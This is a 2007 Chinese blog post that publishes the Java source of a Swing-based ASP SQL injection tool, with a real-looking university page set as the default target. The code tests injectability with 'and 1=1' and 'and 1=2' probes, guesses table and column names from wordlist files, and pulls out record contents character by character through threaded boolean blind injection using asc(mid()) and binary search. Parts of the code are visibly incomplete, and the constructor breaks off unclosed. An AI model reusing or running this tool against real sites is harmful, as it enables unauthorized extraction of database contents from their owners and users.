注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

千鸟

本blog所有日志均系原创 转载请注明出处

 
 
 

日志

 
 

我的java版sql注入工具的公布源代码  

2007-03-14 19:36:06|  分类: J2SE |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

我的java版sql注入工具的公布源代码 - souljava - 千鸟

package half;

import java.awt.*;

import java.awt.event.*;

import java.net.*;

import java.io.*;

import javax.swing.*;

public class jjb extends JFrame implements ActionListener, ItemListener {

 MenuItem lineMenuItem, circleMenuItem, rectMenuItem, fileMenuItem,

   quitMenuItem;

 suanfa ssu[];

 char bl[][];

 TextArea text, second;

 Container container;

 TextField tf;

 Button addB, biao, lie, stopbiao, stoplie, lrong, stoplrong, data;

 JLabel zhuxian;

 List list, ff;

 Checkbox chk, first;

 int q, a, b, c, t;

 CardLayout cardmanager;

 JPanel cazhao, shang;

 Choice choice;

 String liec = "*", nrongd;

 boolean jkl = false;

 private Thread threads[];

 public jjb() {

  Container container = new Container();

  container = getContentPane();

  cardmanager = new CardLayout();

  cazhao = new JPanel();

  cazhao.setLayout(cardmanager);

  shang = new JPanel(new BorderLayout(5, 5));

  Panel hou = new Panel();

  Panel bottomPanel = new Panel();// 输入口

  Panel centerPanel = new Panel();// 文本

  Panel top = new Panel();

  Panel left = new Panel();

  Panel xia = new Panel();

  container.setLayout(cardmanager);

  MenuBar mb = new MenuBar();

  Menu m = new Menu("功能");

  lineMenuItem = new MenuItem("新面版");

  lineMenuItem.addActionListener(this);

  m.add(lineMenuItem);

 

  fileMenuItem = new MenuItem("帮助");

  fileMenuItem.addActionListener(this);

  m.add(fileMenuItem);

  m.add(new MenuItem("+"));

  quitMenuItem = new MenuItem("退出");

  quitMenuItem.addActionListener(this);

  m.add(quitMenuItem);

  mb.add(m);

  setMenuBar(mb);

  tf = new TextField(

    "http://dxxy.yangtzeu.edu.cn/sjjg/wenzhang_display.asp?qid=14");

  tf.addActionListener(this);

  bottomPanel.add(tf);

  addB = new Button("开始检测");

  addB.addActionListener(this);

  bottomPanel.add(addB);

  data = new Button("猜数据库名");

  data.addActionListener(this);

  bottomPanel.add(data);

  centerPanel.setLayout(new GridLayout(1, 2));

  Panel p = new Panel();

  p.setLayout(new BorderLayout());

  p.add("North", new Label("文本区域", Label.CENTER));

  text = new TextArea("TextArea", 5, 20);

  text.append(System.getProperty("line.separator"));

  p.add("East", text);

  centerPanel.add(p);

  // Put a list on the right side of the window.

  left.setLayout(new GridLayout());

  list = new List(3, false);// 点一下就可以的动动

  list.addItemListener(this);

  left.add("West", list);

  ff = new List(3, false);// 点一下就可以的动动

  ff.addItemListener(this);

  left.add("Center", ff);

  second = new TextArea(5, 20);// 点一下就可以的动动

  left.add("East", second);

  

 public void itemStateChanged(ItemEvent event) {

  Object source = event.getSource();

  if (source == list) {

   String str = (String) (list.getSelectedItem());

   liec = str;

  }

  if (source == ff) {

   String strl = (String) (ff.getSelectedItem());

   nrongd = strl;

   System.out.println(nrongd);

  }

 }

 public void actionPerformed(ActionEvent event) {

  System.out.println("ryerdtyht1");

  String p = new String();

  String r = new String();

  Object source = event.getActionCommand();

  String ie = tf.getText();

  if (source == "退出") {

   System.exit(0);

  }

  if (source == "新面版") {

   System.err.print("新面版");

   cardmanager.next(cazhao);

   // net bt=new net();

   // cardmanager.next(container);

  }

  if (source == "帮助") {

   String content = "这个是做的哦 n对java知道的还不多 算法还不好请等待升级版";

   String title = "我爱java";

   int dialogtype = JOptionPane.QUESTION_MESSAGE;

   JOptionPane.showMessageDialog(null, content, title, dialogtype);

  }

  if (source == "开始检测") // 判断能不能检测

  {

   boolean fg = true, gf = true;

   String and1 = "%20and%201=1";

   String and2 = "%20and%201=2";

   // http://dxxy.yangtzeu.edu.cn/sjjg/wenzhang_display.asp?qid=14

   try {

    fg = true;

    URL url = new URL(ie + and1);

    DataInputStream dd = new DataInputStream(url.openStream());

    dd.close();

   } catch (IOException ke) {

    fg = false;

   }

   ;

   try {

    gf = false;

    URL url = new URL(ie + and2);

    DataInputStream dd = new DataInputStream(url.openStream());

    dd.close();

   } catch (IOException ke) {

    gf = true;

   }

   ;

   System.out.println(fg);

   System.out.println(fg);

   if (fg == gf)

    text.append("恭喜恭喜^O^!!!!!可以检测哦");

   else {

    text.append("^O^? 不可以检测!! n");

   }

  }

  if (source == "猜数据库名") // 检测数据库名**************

  {

   int fanhui;

   int u = 0;

   fanhui = ie.indexOf("asp?", 1);

   if (fanhui > 0) {

    String content = "这个是刘柯做的哦 n对java知道的还不多 算法还不好请等待升级版 n"

      + "请输入以下格式: n http://bbs.***.com.cn  or http://***.com.cn/bbs";

    String title = "我爱java";

    int dialogtype = JOptionPane.QUESTION_MESSAGE;

    JOptionPane.showMessageDialog(null, content, title, dialogtype);

   }

   else {

    FileToUnicode data = new FileToUnicode("file3.txt");

    System.out.println(fanhui);

    text.append("加油啊阿柯 n");

    int f = 0;

    int g = data.i;

    for (f = 0; f <= g; f++) {

     try {

      String line;

      p = data.st[f];

      String str = ie + p;// http://dxxy.yangtzeu.edu.cn/sjjg/wenzhang_display.asp?qid=14

      URL url = new URL(str);

      DataInputStream dd = new DataInputStream(url

        .openStream());

      dd.close();

      text.append("找到了数据库 n" + p + " n" + "请等待 n");

     } catch (MalformedURLException me) {

      System.out.println("Error URL");

     } catch (IOException ke) {

      System.out.println("不是这个列表");

     }

    }

    text.append(" n检测完毕。。。。。 n");

   }

  }

  if (source == "                 开始检测表         ") // "开始检测表

  {

   System.out.println("ryerdtyht1d");

   FileToUnicode biao = new FileToUnicode("file1.txt");

   int u = 0;

   // System.out.println("==== Starting GetDNStext.. ====.");

   text.append("加油啊阿柯 n");

   int f = 0;

   int g = biao.i;

   for (f = 0; f <= g; f++) {

    zhuxian.setText("正在检测第" + f + " 个列表" + p + " n");

    try {

     String line;

     p = biao.st[f];

     r = "%20And%20(Select%20Count(*)from%20" + p + ")>=0";

     String str = ie + r;// http://dxxy.yangtzeu.edu.cn/sjjg/wenzhang_display.asp?qid=14

     URL url = new URL(str);

     DataInputStream dd = new DataInputStream(url.openStream());

     dd.close();

     list.add(p);

    } catch (MalformedURLException me) {

     System.out.println("Error URL");

    } catch (IOException ke) {

     System.out.println("不是这个列表");

    }

    // text.append("");

    text.append("正在检测第" + f + " 个列表" + p + " n");

    zhuxian.setText("正在检测第" + f + " 个列表" + p + " n");

   }

   text.append(" n检测完毕。。。。。 n");

  } else if (source == "             开始检测列               ") // 开始检测列/////////////////////

  {

   int u = 0;

   FileToUnicode lie = new FileToUnicode("file2.txt");

   // System.out.println("==== Starting GetDNStext.. ====.");

   int f = 0;

   int g = lie.i;

   for (f = 0; f <= g; f++) {

    try {

     String line;

     p = lie.st[f];

     r = "%20And%20(Select%20Count(" + p + ")from%20" + liec

       + ")>=0";

     String str = ie + r;

     URL url = new URL(str);

     DataInputStream dd = new DataInputStream(url.openStream());

     dd.close();

     ff.add(p);

    } catch (MalformedURLException me) {

     System.out.println("Error URL");

    } catch (IOException ke) {

     System.out.println("不是这个列表");

    }

    text.append("");

    // text.append("正在检测第"+f+" 个列表"+p+" n");

    zhuxian.setText("正在检测第" + f + " 个列表" + p + " n");

   }

  }// lie is over

  if (source == "             开始检测内容           ") // ///////////////////// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

  {

   int a, b, c, d, f, fyb = 1, ed = 1;

   int e = 1;

   // String str =

   // "http://dxxy.yangtzeu.edu.cn/sjjg/wenzhang_display.asp?qid=14";

   String sr = "%20And%20(Select%20Count(1)%20From%20[" + liec

     + "]%20Where%201=1)";

   String last = ie + sr;

   for (e = 2;;) {

    try {

     // System.out.println("天");

     URL url26 = new URL(last + "<=" + e);

     DataInputStream dd6 = new DataInputStream(url26

       .openStream());

     dd6.close();

     try {

      URL url29 = new URL(last + "<=" + (e--));

      DataInputStream dd39 = new DataInputStream(url29

        .openStream());

      dd39.close();

      break;

     } catch (IOException ke2) {

      e++;

      break;

     }

    } catch (IOException ke1) {

     e = e + 2;

    }// had got the number

   } // System.out.println(e);System.out.println("over the first");

   zhuxian.setText("有" + e + "条内容");

   int liuxia[] = new int[e + 1];

   for (fyb = 1; fyb <= e; fyb++) {

    // sr="%20And%20(Select%20Top%201%2len(cstr(["+nrongd+"]))%20From%20(Select%20Top%20"+fyb+"%20*%20From%20["+liec+"]%20Where%201=1%20Order%20by%20["+nrongd+"])%20T%20Order%20by%20["+nrongd+"]%20desc)";

    sr = "%20And%20(Select%20Top%201%20len(cstr([" + nrongd

      + "]))%20From%20(Select%20Top%20" + fyb

      + "%20*%20From%20[" + liec

      + "]%20Where%201=1%20Order%20by%20[" + nrongd

      + "])%20T%20Order%20by%20[" + nrongd + "]%20desc)";

    last = ie + sr;

    for (ed = 2;;) {

     try {

      URL url2ed = new URL(last + "<=" + ed);

      DataInputStream dd6ed = new DataInputStream(url2ed

        .openStream());

      dd6ed.close();

      try {

       System.out.println("空界");

       URL url29ed = new URL(last + "=" + (--ed));

       DataInputStream dd39ed = new DataInputStream(

         url29ed.openStream());

       dd39ed.close();

       break;

      } catch (IOException ke2ed) {

       ++ed;

       break;

      }

     } catch (IOException ke1ed) {

      ed = ed + 2;

      System.out.println("空界1");

     }

    }

    zhuxian.setText("len=" + ed);

    char bl[][] = new char[fyb + 1][ed + 1];

    System.err.println(ed);

    suanfa ssu[] = new suanfa[ed + 1];

    System.err.println("fyb+" + fyb);

    System.err.println("ed+" + ed);

    for (a = 1; a <= ed; a++) {

     System.err.println("dfsdaf");

     // threads[a]=new Thread(new suanfa());ssu[ed]=new

     // suanfa(fyb,nrongd,liec,ie)

     // threads[a].start();

     ssu[a] = new suanfa(fyb, a, nrongd, liec, ie);

     System.err.println("fyb" + fyb + "地a=" + a);

     ssu[a].start();

     // bl[fyb][a]=ssu[fyb][a].result;

    }

   

   }

   System.err.println("|||||||||||||||||||||最后检测完毕");

  }

 } // actiopn完了

 public static void main(String[] args)// 主函数

 {

  jjb window = new jjb();

  window.setTitle("火千鸟-- 跨平台asp注入");

  window.pack();

  window.setVisible(true);

 }

}

class FileToUnicode// 读入列表的类

{

 String st[] = new String[60];

 int i = 0;

 public FileToUnicode(String fln) {

  try {

   FileInputStream fis = new FileInputStream(fln);

   InputStreamReader dis = new InputStreamReader(fis);

   // InputStreamReader dis = new InputStreamReader(System.in);

   BufferedReader reader = new BufferedReader(dis);

   String s;

   while ((s = reader.readLine()) != null) {

    st[i] = s;

    System.out.println(st[i]);

    if (st[i] == null)

     break;

    i++;

   }

   dis.close();

  } catch (IOException e) {

   System.out.println(e);

  }

  System.out.println("ppk");

 }// main()

}

class suanfa extends Thread {

 String liec, nrongd, sr, str, ie;

 char result;

 int fyb, a, b, c, d, e, ed, f;

 // ssu[a]=new suanfa(fyb,nrongd,liec,ie);

 public suanfa(int cfyb, int sa, String cnrongd, String cliec, String cie) {

  f = sa;

  ie = cie;

  liec = cliec;

  nrongd = cnrongd;

  fyb = cfyb;

 }

 public void run() {

  String last;

  String zuihou = "";

  // text.append("正在检测"+nrongd+"的内容 n");

  //a = 99;

  b = 80;

  c = 124;

  

  

  sr = "%20and%20(select%20top%201%20asc(mid(cstr(" + nrongd + ")," + f

    + ",1))%20from%20(Select%20Top%20" + fyb + "%20*%20from%20["

    + liec + "]%20where%201=1%20order%20by%20[" + nrongd

    + "])%20T%20Order%20by%20[" + nrongd + "]%20desc)";

 

  last = ie + sr;

  for(;;)

  {

   

  try {

    URL url = new URL(last + "%20between%20" + b + "%20and%20" + c);

    DataInputStream dd = new DataInputStream(url.openStream());

    dd.close();

      

        b=102;

        c=124;

        e=80;

         break;

    // System.out.println("是大的哦");

   } catch (IOException ke) {

   // System.out.println("有人乱走了" );

    try{

     System.out.println("强制了");

     System.out.println(last + "%20between%20" + b + "%20and%20" + c);

    b=-1;

   

    c=-20000; 

   

    URL url = new URL(last + "%20between%20" + b + "%20and%20" + c);

    DataInputStream dd = new DataInputStream(url.openStream());

    dd.close();

    b=-12500;

    e=-5000;

    c=-20000;

    break; 

    }catch (IOException lke)

    {c=124;

    b=80;

    }

    System.out.println("Error URL");

    }

    }

        // System.out.println("1进去的时候fyb" + fyb + "下f" + f + "下的b=" +b+"c=="+c );

  for (;;) {

   //if(b<80)

   // {System.err.print(last+ "%20between%20" + b + "%20and%20" + c);

    //}

  // System.out.println("==========》》1进去的时候fyb" + fyb + "下f" + f + "下的b=" +b+"c=="+c );     

   if (c - b <= 1&&c-b>=-1)

    break;

    

            // try{Thread.sleep(20);}catch(Exception r){

             //}

   try {

    URL url = new URL(last + "%20between%20" + b + "%20and%20" + c);

    DataInputStream dd = new DataInputStream(url.openStream());

    dd.close();

    a = (b + c) / 2;

    e = b;

    b = a;

    // System.out.println("是大的哦");

   

   } catch (Exception ke) {

   

    if(b==80&&c==124)

    {

    System.out.println("==========》》fyb" + fyb + "下f" + f + "下的b=" +b+"c=="+c );

    System.err.print(last+ "%20between%20" + b + "%20and%20" + c);

    }

    //System.out.println("是小的");

    c = b;

    b = (e + c) / 2;

   }

  }

  System.out.println("刚出来的时候fyb" + fyb + "下f" + f + "下的a=" + a);

  try {// System.out.println("最后的判断");

   URL url = new URL(last + "=" + b);

   DataInputStream dd1 = new DataInputStream(url.openStream());

   a = b;

  } catch (IOException ke1) {// System.out.println("最后的判断yixia");

   try {

    System.err.println(c);

    URL url = new URL(last + "=" + c);

    // System.out.println("最后的判断zuihouyixia");

    DataInputStream dd2 = new DataInputStream(url.openStream());

    a = c;

   } catch (IOException ke2) {

    

    

    a = b - 1;

    

    System.out.println("执行了a=b-1");

   }

  }

        if(a<0)

        a=-1*a;

 

 

  if(a>255)

  {

  

  try{

  

   int   a   =   65536-15903;

          byte   bb[]={(byte)(a/256),   (byte)(a%256)};  

          String   s=new   String(bb,   "GB2312");

          }catch(Exception e){}

         }else{

          char as=(char)a;

          String s=" "+as;

         }

  

 }// 内容完了

}

  评论这张
 
阅读(918)| 评论(0)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017